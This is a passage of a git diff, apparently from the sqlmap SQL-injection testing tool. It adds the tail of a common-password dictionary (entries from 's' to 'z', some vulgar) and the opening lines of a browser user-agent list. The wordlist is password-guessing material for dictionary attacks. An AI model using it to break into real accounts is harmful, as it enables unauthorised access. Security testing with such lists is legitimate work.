+seashore
+seattle
+sebastian
+sebastian1
+sebring
+second
+secret
+secret1
+secret123
+secret3
+secret666
+secrets
+secure
+security
+SECURITY
+seduction
+seinfeld
+select
+selector
+selena
+selina
+seminoles
+semper
+semperfi
+senators
+seneca
+seng
+senha123
+senior
+seniseviyorum
+senna
+senorita
+sensation
+sensei
+sensitive
+sensor
+SENTINEL
+seoul
+septembe
+september
+septiembre
+sequence
+serdar
+serega
+serena
+serenade
+serendipity
+serenity
+sergei
+sergey
+sergio
+series
+serkan
+servando
+server
+service
+services
+sessions
+sestosant
+settlers
+setup
+seven
+seven7
+sevens
+seventeen
+sex
+sex123
+sex4me
+sexman
+sexo
+sexsex
+sexual
+sexx
+sexxx
+sexxxx
+sexxy
+sexy
+sexy1
+sexy12
+sexy123
+sexy69
+sexybabe
+sexybitch
+sexyboy
+sexygirl
+sexylady
+sexymama
+sexyman
+sexyme
+sf49ers
+sh
+shadow
+shadow1
+shadow12
+shaggy
+shakespeare
+shakira
+shalimar
+shalom
+shampoo
+shamrock
+shan
+shane
+shania
+shannon
+shannon1
+shanti
+shaolin
+share
+shark
+sharma
+sharon
+sharpshooter
+shasha
+shaved
+shearer
+sheeba
+sheena
+sheep
+sheffield
+sheila
+shekinah
+shelby
+sheldon
+shelly
+shelter
+shemale
+shen
+sheng
+sherbert
+sheriff
+sherlock
+sherman
+sherry
+shevchenko
+shi123456
+shibby
+shilpa
+shiner
+shinichi
+shinobi
+ship
+shipping
+shirley
+shirley1
+shit
+shitface
+shithead
+shitshit
+shitty
+shivers
+shock
+shocker
+shocking
+shodan
+shoelace
+shopping
+short
+shortcake
+shortcut
+shorty
+shorty1
+shoshana
+shotgun
+shotokan
+shoulder
+shovel
+show
+showboat
+showcase
+showme
+showtime
+shredder
+shrimp
+shuang
+shun
+shuriken
+shutdown
+shutup
+shyshy
+sideshow
+sideways
+sidney
+siemens
+sierra
+Sierra
+sifra
+sifre
+siga14
+sigma
+sigmachi
+signa
+signal
+sigrun
+siilike
+sikais
+silence
+silencio
+silicone
+silmaril
+silver
+silver1
+silverado
+silverfish
+silvia
+simmons
+simon
+simona
+simone
+simonka
+simonko
+simple
+simpleplan
+simpson
+simpsons
+simran
+sims
+simulator
+sinbad
+sindre
+sindri
+sinegra
+sinfonia
+singapor
+singer
+single
+sinister
+sinned
+sinner
+sisma
+sissy
+sister
+sister12
+sisters
+sitakott
+sitapea
+site
+sitecom
+sixers
+sixpack
+sixpence
+sixty
+skate
+skateboard
+skateboarding
+skater
+skater1
+skeeter
+skeleton
+skibum
+skidoo
+skillet
+skinhead
+skinny
+skipjack
+skipper
+skippy
+skittles
+skuggi
+skydiver
+skyhawk
+skylar
+skyline
+skywalker
+slacker
+slammer
+slapper
+slappy
+slapshot
+slaptazodis
+slater
+slaughter
+slave
+slayer
+sleeper
+sleeping
+sleepy
+slick
+slick1
+slider
+slideshow
+slimshady
+slipknot
+slipknot1
+slipknot666
+slniecko
+sloppy
+slovenia
+slowpoke
+sluggo
+slut
+sluts
+slutty
+sma
+smackdown
+small
+smallville
+smart1
+smartass
+smartbox
+smcadmin
+smeghead
+smegma
+smelly
+smile
+smile1
+smiles
+smiley
+smith
+smithers
+smiths
+smitty
+smoke
+smoke420
+smoker
+smokey
+smokey1
+smoking
+smooch
+smooth
+smoothie
+smother
+smudge
+smuggler
+snakebite
+snakeeater
+snapper
+snapple
+snapshot
+snatch
+sneakers
+sneaky
+snickers
+snickers1
+sniper
+snoop
+snoopdog
+snoopdogg
+snoopy
+snoopy1
+snotra
+snowball
+snowbird
+snowboar
+snowfall
+snowflak
+snowflake
+snowhite
+snowman
+snowman1
+snowshoe
+snowski
+snowwhite
+snuffles
+snuggles
+soap
+sober1
+sobriety
+soccer
+soccer1
+soccer10
+soccer11
+soccer12
+soccer13
+soccer2
+soccer22
+socrates
+sofia
+softball
+softball1
+software
+Sojdlg123aljg
+sokrates
+soldiers
+soledad
+soleil
+solitaire
+solitude
+solla
+solo
+solomon
+solstice
+solutions
+sombrero
+some
+somebody
+someone
+somethin
+something
+sometime
+somewhere
+sommar
+sondra
+song
+songbird
+sonics
+sonrisa
+sony
+sony1
+sonya
+sonyvaio
+sooner
+sophia
+sophie
+sorensen
+soto
+soul
+soulmate
+southpark
+southside
+southside1
+southwest
+souvenir
+sovereign
+sowhat
+soyhermosa
+space
+spaceman
+spagetti
+spaghetti
+spain
+spalding
+spanker
+spanking
+spankme
+spanky
+spanner
+sparhawk
+sparkle
+sparkles
+sparky
+Sparky
+sparky1
+sparrows
+sparta
+spartan1
+spartan117
+spazz
+speaker
+speakers
+special
+special1
+specialist
+specialk
+spectral
+spectre
+spectrum
+speeding
+speedo
+speedster
+speedy
+speles
+spelling
+spence
+spencer
+spencer1
+sperma
+sphinx
+sphynx
+spice
+spider
+spider1
+spiderma
+spiderman
+spiderman1
+spidey
+spike
+spike1
+spikes
+spikey
+spirit
+spiritual
+spit
+spitfire
+splash
+spock
+spoiled
+spongebo
+spongebob
+spongebob1
+spooge
+spooky
+spoon
+sporting
+sports
+spotlight
+spring
+springs
+sprinkle
+sprite
+spud
+spunky
+spurs
+spyder
+sql
+sqlexec
+square
+squash
+squeaker
+squirrel
+squirt
+srinivas
+sriram
+sss
+ssss
+ssssss
+sssssss
+ssssssss
+ssssssssss
+stacey
+staci
+stacy
+stainless
+stairway
+stalingrad
+stalker
+stamford
+stampede
+stan
+standard
+stanley
+stanley1
+staples
+star
+star69
+starbuck
+starbucks
+starchild
+starcraft
+stardust
+starfish
+stargate
+stargazer
+starless
+starlight
+starling
+starr
+stars
+starshine
+starship
+start
+start1
+starter
+startfinding
+starting
+startrek
+starwars
+starwars1
+state
+Status
+stayout
+stealth
+steaua
+steele
+steelers
+steelers1
+steelman
+stefan
+stefania
+stefanie
+stefanos
+stelios
+stella
+stellar
+steph
+steph1
+stephani
+stephanie
+stephanie1
+stephen
+stephens
+stephi
+stereo
+sterling
+sternchen
+steve
+steven
+steven1
+stevens
+stewart
+stick
+stickman
+sticky
+stiletto
+stimpy
+sting1
+stingray
+stinker
+stinky
+stitches
+stock
+stockman
+stockton
+stoffer
+stolen
+stone
+stonecold
+stonehenge
+stoneman
+stoner
+stones
+stories
+storm
+straight
+strange
+stranger
+strat
+strategy
+stratus
+strawber
+strawberry
+stream
+streamer
+streaming
+street
+streets
+strider
+strike
+strikers
+string
+stripper
+stroker
+stronger
+stronghold
+struggle
+strummer
+struzhka
+stryker
+stuart
+stubby
+student
+student1
+student2
+students
+studioworks
+studman
+stunner
+stuntman
+stupid
+stupid1
+sturgeon
+style
+styles
+sublime
+submarine
+submit
+subwoofer
+subzero
+success
+successful
+succubus
+sucesso
+sucked
+sucker
+suckers
+sucking
+suckit
+suckme
+suckmydick
+sucks
+sudoku
+sue
+sugarplum
+suicidal
+suicide
+suitcase
+sukses
+sullivan
+summer
+summer00
+summer01
+summer05
+summer1
+summer12
+summers
+summit
+summoner
+sunbird
+sundance
+sunday
+sundevil
+sunfire
+sunflowe
+sunflower
+sunflowers
+sunita
+suniukas
+sunna
+sunny123
+sunnyboy
+sunnyday
+sunrise
+sunset
+sunshine
+sunshine1
+suomi
+super
+super123
+superbowl
+superboy
+supercool
+superdog
+superduper
+supergirl
+superhero
+superior
+superman
+superman1
+supermand
+supermen
+supernova
+superpass
+superpower
+supersecret
+supersonic
+superstage
+superstar
+superuser
+supervisor
+support
+supra
+surabaya
+surecom
+surf
+surfboard
+surfer
+surfing
+surprise
+surrender
+surround
+survival
+survivor
+susana
+sushi
+susie
+suslik
+suzanne
+suzuki
+suzy
+sveinn
+sverige
+svetlana
+swanson
+sweden
+sweet
+sweet1
+sweet123
+sweet16
+sweetest
+sweetheart
+sweetie
+sweetiepie
+sweetnes
+sweetness
+sweetpea
+sweets
+sweetwater
+sweety
+swim
+swimming
+swingers
+swinging
+switzer
+swoosh
+sword
+swordfis
+swordfish
+sydney
+sylvania
+sylvester
+sylvia
+sylwia
+symbol
+symmetry
+sympa
+symphony
+syndrome
+synergy
+syracuse
+sys
+sysadm
+syspass
+system
+system5
+syzygy
+szabolcs
+szerelem
+szeretlek
+sziszi
+tabatha
+taco
+tacobell
+tacoma
+tactical
+taffy
+tagged
+tajmahal
+takahiro
+takanori
+takataka
+takayuki
+takedown
+takoyaki
+talented
+talks
+tallinn
+tallulah
+talon
+tamara
+tami
+tamtam
+tania
+tanker
+tanner
+tantra
+tanya1
+tanzania
+tapestry
+tappancs
+tappara
+tara
+tarantino
+taratara
+tardis
+targas
+target
+target123
+tarheel
+tarpon
+tarragon
+tartar
+tarzan
+tasha1
+tassen
+tatiana
+tattoo
+taurus
+taxman
+taylor
+taylor1
+taytay
+tazdevil
+tazman
+tazmania
+tbird
+t-bone
+teacher
+teacher1
+teaching
+team
+teamo
+teamomucho
+teamwork
+teardrop
+tech
+technical
+technics
+techno
+techsupport
+tectec
+teddy
+teddybea
+teddybear
+teenage
+teenager
+teens
+teflon
+teiubesc
+tekiero
+tekila
+tekken
+Telechargement
+telecom
+telefon
+telefonas
+telefono
+telefoon
+telemark
+telephone
+televizija
+telos
+telus00
+temp
+temp!
+temp123
+tempest
+templar
+template
+temporal
+temporary
+temppass
+temptation
+temptemp
+tender
+tenerife
+teng
+tennesse
+tennessee
+tennis
+tennyson
+tequiero
+tequieromucho
+tequila
+tere123
+teresa
+teretere
+terminal
+terminat
+terminator
+terminus
+terrapin
+terrell
+terriers
+terrific
+terror
+terrorist
+terserah
+test
+test!
+test1
+test12
+test123
+test1234
+test2
+test3
+testament
+teste123
+tester
+testi
+testicle
+testing
+testpass
+testpilot
+testtest
+test_user
+tetsuo
+texas
+thaddeus
+thai123
+thailand
+thankyou
+the
+thebeach
+thebear
+thebeast
+thebest
+thebest1
+thecat
+thecrow
+thecure
+thedon
+thedoors
+thedude
+theforce
+thegame
+their
+thejudge
+thekid
+theking
+thelma
+theman
+thematrix
+themis
+theodora
+theodore
+there
+theresa
+therock
+these
+thesims
+thethe
+thething
+thetruth
+thiago
+thing
+thinking
+thinkpad
+thirteen
+this
+thisisit
+thomas
+thomas01
+thomas1
+thomas123
+thompson
+thong
+thongs
+thornton
+thousand
+threesome
+thriller
+throat
+thuglife
+thumbs
+thumper
+thunder
+thunder1
+thunderbolt
+thunders
+thursday
+thurston
+thx1138
+tian
+tibco
+tiburon
+ticket
+tickle
+ticktock
+tierno
+tietokone
+tiffany
+tiffany1
+tiger
+tiger1
+tiger123
+tigereye
+tigerman
+tigers
+tigerwoods
+tigger
+tigger1
+tigger12
+tight
+tightend
+tights
+tigre
+tigris
+tiiger
+tika
+tikitiki
+timberlake
+time
+timelord
+timely
+timeout
+timosha
+timosha123
+timothy
+timtim
+tinker
+tinkerbe
+tinkerbell
+tinkle
+tinman
+tintin
+Tiny
+tiramisu
+tissemand
+titanic
+titanium
+titimaman
+titkos
+titouf59
+tits
+titten
+titty
+tivoli
+tmnet123
+tnt
+tobias
+toby
+today
+toejam
+together
+toggle
+toilet
+tokiohotel
+tokyo
+tomas123
+tomasko
+tomato
+tombstone
+tomcat
+tomek1
+tomika
+tomislav1
+tommaso
+tommy
+tommy123
+tomohiro
+tomotomo
+tomtom
+tomukas
+tong
+tonight
+tony
+tonytony
+toolbox
+toomas
+toon
+toor
+toothpaste
+toothpick
+tootsie
+topcat
+topdog
+topgun
+tophat
+topnotch
+topolino
+topsecret
+torcida
+toreador
+toriamos
+torino
+tormentor
+tornado
+tornado1
+toronto
+toronto1
+torpedo
+torrance
+torrents
+torres
+tortilla
+tortoise
+toshiba
+total
+toti
+toto1
+tototo
+tottenham
+toucan
+touchdown
+touching
+tower
+town
+townsend
+toxic
+toxicity
+toyota
+trace
+tracer
+traci
+track
+tracker
+tractor
+tracy
+trader
+traffic
+trails
+train
+trainer
+trampoline
+trance
+tranquil
+transfer
+transform
+transformer
+transformers
+transit
+trash
+trashcan
+trashman
+trauma
+travel
+traveler
+traveller
+travis
+tre
+treble
+tree
+treefrog
+trees
+treetop
+treetree
+trespass
+trevor
+trial
+triathlon
+tribunal
+tricia
+trickster
+trigger
+trinidad
+trinitro
+trinity
+trip
+triple
+tripleh
+triplets
+tripod
+tripper
+tripping
+trish
+trisha
+tristan
+tristan1
+triton
+triumph
+trivial
+trixie
+trojan
+trojans
+troll
+trombone
+trooper
+troopers
+trophy
+trouble
+trout
+troy
+truck
+truelove
+truffles
+trujillo
+trumpet
+trunks
+trunte
+trustme
+trustno1
+trustnoone
+truth
+tryagain
+tsunami
+tttttt
+tuan
+tucker
+tucson
+tudelft
+tuesday
+tula
+tuna
+tunafish
+tundra
+tunnussana
+tuomas
+tupac
+tuppence
+turbine
+turbo
+turbo2
+turkey
+turner
+turnip
+turquoise
+turtle
+tutor
+tuttle
+tweety
+tweety1
+tweetybird
+twelve
+twenty
+twilight
+twinkie
+twinkle
+twinkles
+twins
+twisted
+twister
+twitter
+tybnoq
+tycoon
+tyler
+tyler1
+typewriter
+typhoon
+tyrone
+tyson
+tyson1
+U38fa39
+uboot
+ultima
+ultimate
+ultra
+ultrasound
+umbrella
+umesh
+umpire
+unbreakable
+undead
+underdog
+understand
+undertaker
+undertow
+underwater
+underworld
+unforgiven
+unhappy
+unicorn
+unicornio
+unicorns
+unique
+united
+unity
+universal
+universe
+universidad
+university
+unix
+unknown
+unleashed
+unlocked
+unreal
+untitled
+untouchable
+uploader
+upsilon
+uptown
+upyours
+uQA9Ebw445
+urchin
+ursula
+usa123
+user
+user0
+user1
+user1234
+user2
+user3
+user4
+user5
+user6
+user7
+user8
+user888
+username
+usmarine
+usmc
+Usuckballz1
+utility
+utopia
+uuuuuuuu
+vacation
+vaffanculo
+vagabond
+vagina
+val
+valami
+valdemar
+valencia
+valentin
+valentina
+valentinchoque
+valentine
+valeria
+valerian
+valerie
+valeverga
+valhalla
+validate
+valtteri
+vampire
+vampire1
+vampires
+vanderbilt
+vanesa
+vanessa
+vanessa1
+vanhalen
+vanilla
+vanquish
+variable
+vasant
+vasara
+vaseline
+vector
+vedder
+vedran
+vegas
+vegeta
+vegetable
+velo
+velocity
+vengeance
+venkat
+venom
+ventura
+venus
+vera55
+veracruz
+verbatim
+vergessen
+veritas
+verizon
+vermilion
+verona
+veronica
+veronika
+veronique
+vertical
+verygood
+vette
+vfhbyf
+vfrcbv
+vh5150
+viagra
+vickie
+victor
+victoria
+victoria1
+victory
+video
+vietnam
+viewsoni
+vijaya
+viking
+vikings
+vikings1
+viktor
+viktoria
+viktorija
+vincent
+vineyard
+vinicius
+vinkovci
+vinnie
+violator
+violence
+violet
+violetta
+violette
+violin
+viper
+vipergts
+vipers
+virgilio
+virgin
+virginia
+virtual
+virus
+VIRUSER
+visa
+viscount
+vishal
+vision
+vision2
+visitor
+visitors
+visor
+visual
+vittoria
+vittorio
+vivian
+viviana
+vivien
+vivienne
+vkontakte
+vladimir
+VOizGwrC
+volcano
+volcom
+volimte
+volkswag
+volley
+volleyba
+volleyball
+voltaire
+volume
+volunteer
+volvo
+voodoo
+voyager
+voyeur
+VQsaBLPzLa
+vsegda
+vulcan
+vvvv
+vvvvvvvv
+waffle
+waiting
+wakefield
+walden
+walker
+wallace
+wall.e
+walrus
+walter
+wanderlust
+wang
+wangyut2
+wanker
+wanted
+warcraft
+wareagle
+warehouse
+warez
+wargames
+warhamme
+warhammer
+warlock
+warning
+warranty
+warren
+warrior
+warrior1
+warriors
+warszawa
+wasabi
+washington
+wasser
+wassup
+wasted
+watanabe
+watch
+watchdog
+watching
+watchman
+watchmen
+water
+water123
+waterfall
+waterman
+watermelon
+waterpolo
+waters
+watson
+wayne
+weasel
+weather
+weaver
+web
+webcal01
+weblogic
+webmaste
+webmaster
+webster
+wedding
+wedge
+wednesday
+weed420
+weenie
+weezer
+welcome
+welcome1
+welcome123
+welder
+wellington
+wendi
+wendy
+wendy1
+weng
+werder
+werdna
+werewolf
+wert
+wertwert
+wertz123
+wesley
+westcoast
+western
+westgate
+westlife
+weston
+westside
+westwind
+wetpussy
+wg
+wh
+whale1
+what
+whatever
+whatever1
+whatnot
+whatsup
+whatthe
+whatwhat
+whiplash
+whiskey
+whisky
+whisper
+whit
+white
+whiteboy
+whiteman
+whiteout
+whiting
+whitney
+whittier
+whocares
+whoknows
+wholesale
+whynot
+wichmann
+wicked
+wickedwitch
+widzew
+wiesenhof
+wifey
+wiktoria
+wild
+wildbill
+wildcat
+wildcats
+wildfire
+wildflower
+wildlife
+wildman
+wildone
+wildrose
+will
+william
+william1
+williams
+willie
+willis
+willow
+Willow
+wilson
+wind
+window
+windows
+windows1
+windowsxp
+windsurf
+windward
+winger
+wingnut
+wings
+winner
+winner1
+winnie
+Winnie
+winnipeg
+winona
+winston
+winter
+winthrop
+wisconsin
+wisdom
+wiseguy
+wishbone
+witchcraft
+wizard
+wizard1
+wizards
+woaini
+woaini1314
+wojtek
+wolf
+wolf1
+wolfen
+wolfgang
+wolfhound
+wolfie
+wolfpac
+wolfpack
+wolverin
+wolverine
+wolverines
+wolves
+woman
+wombat
+women
+wonder
+wonderful
+wood
+woodbury
+woodchuck
+woodie
+woodland
+woodlawn
+woodruff
+woodside
+woodstoc
+woodwind
+woody
+woofer
+woowoo
+word
+wordpass
+wordup
+work
+work123
+working
+workout
+world
+wormhole
+worship
+worthy
+wow12345
+wowwow
+wraith
+wrangler
+wrench
+wrestle
+wrestler
+wrestlin
+wrestling
+wrinkle1
+writer
+writing
+wsh
+www
+wwww
+wwwwww
+wwwwwww
+wwwwwwww
+xanadu
+xanth
+xavier
+xbox360
+xceladmin
+xcountry
+x-files
+xiang
+xiao
+ximena
+ximenita
+xing
+xiong
+XRGfmSx
+xtr
+xuan
+xxx
+xxx123
+xxxx
+xxxxx
+xxxxxx
+xxxxxxx
+xxxxxxxx
+xxxxxxxxxx
+xyz
+xyzzy
+y
+YAgjecc826
+yahoo
+yahoo123
+yamaha
+yamahar1
+yamamoto
+yang
+yankee
+yankees
+yankees1
+yankees2
+yardbird
+yasmin
+yasuhiro
+yaya
+yeah
+yellow
+yellow1
+yellow12
+yes
+yeshua
+yessir
+yesterday
+yesyes
+yfnfif
+ying
+yingyang
+yolanda
+yomama
+yong
+yorktown
+yosemite
+yoteamo
+youbye123
+young
+young1
+yourmom
+yourmom1
+yourname
+yourself
+yoyo
+yoyoma
+yoyoyo
+ysrmma
+YtQ9bkR
+ytrewq
+yuan
+yuantuo2012
+yukiyuki
+yukon
+yummy
+yvonne
+yxcvbnm
+yyyy
+yyyyyyyy
+yzerman
+z123456
+z1x2c3v4
+za123456
+zacefron
+zachary
+zachary1
+zadzad
+zag12wsx
+zagreb
+zalgiris
+zander
+zang
+zanzibar
+zapato
+zaphod
+zaq12wsx
+zaq1zaq1
+zaqxsw
+zaragoza
+zebra
+zebras
+zeng
+zenith
+zeppelin
+zepplin
+zerocool
+zerozero
+zeus
+zhang
+zhao
+zheng
+zhong
+zhongguo
+zhou
+zhuang
+zhuo
+zidane
+ziggy
+zildjian
+zimbabwe
+zing
+ziomek
+zipper
+zippo
+zirtaeb
+zk.:
+zmodem
+zolika
+zoltan
+zombie
+zong
+zoomer
+zoosk
+zuikis
+zuzana
+ZVjmHgC355
+zwerg
+zxc
+zxc123
+zxcasdqwe
+zxccxz
+zxcv
+zxcv1234
+zxcvb
+zxcvbn
+zxcvbnm
+Zxcvbnm
+zxcvbnm1
+zxcvbnm123
+zxcxz
+zxczxc
+zxzxzx
+zzzxxx
+zzzzz
+zzzzzz
+zzzzzzzz
+zzzzzzzzzz
diff --git a/data/txt/user-agents.txt b/data/txt/user-agents.txt
new file mode 100644
index 00000000000..31bca9529d3
--- /dev/null
+++ b/data/txt/user-agents.txt
@@ -0,0 +1,190 @@
+# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+# See the file 'LICENSE' for copying permission
+
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:109.0) Gecko/20100101 Firefox/115.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.5 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.7 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.33 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.7258.155 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko)
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/139 Version/11.1.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/139 Version/16.0 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.2 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Safari/605.1.15 Ddg/18.6
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.11 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.13 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.14 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15
